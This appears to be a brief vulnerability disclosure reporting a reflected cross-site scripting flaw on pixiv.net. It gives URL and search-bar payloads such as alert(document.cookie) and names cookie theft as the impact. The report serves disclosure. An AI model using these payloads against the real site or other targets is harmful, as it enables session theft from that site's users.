XSS reflected on [https://www.pixiv.net]

How it was found

Summary:

I found a xss reflected on https://www.pixiv.com URL and in the search bottom from Chrome IOS 13.1

Steps To Reproduce:

1. In the URL https://www.pixiv.net/en/%5B'-alert(document.cookie)-'%5D Add Payload ['-confirm(3)-']
2. In the URL https://www.pixiv.net/en/%5B'-alert(document.cookie)-'%5D Add ['-alert(document.cookie)-']
3. In the Search Bar Add ['-confirm(3)-'] and the URL is https://www.pixiv.net/en/tags/%5B'-confirm(3)-'%5D#discover

Impact

Steal Cookie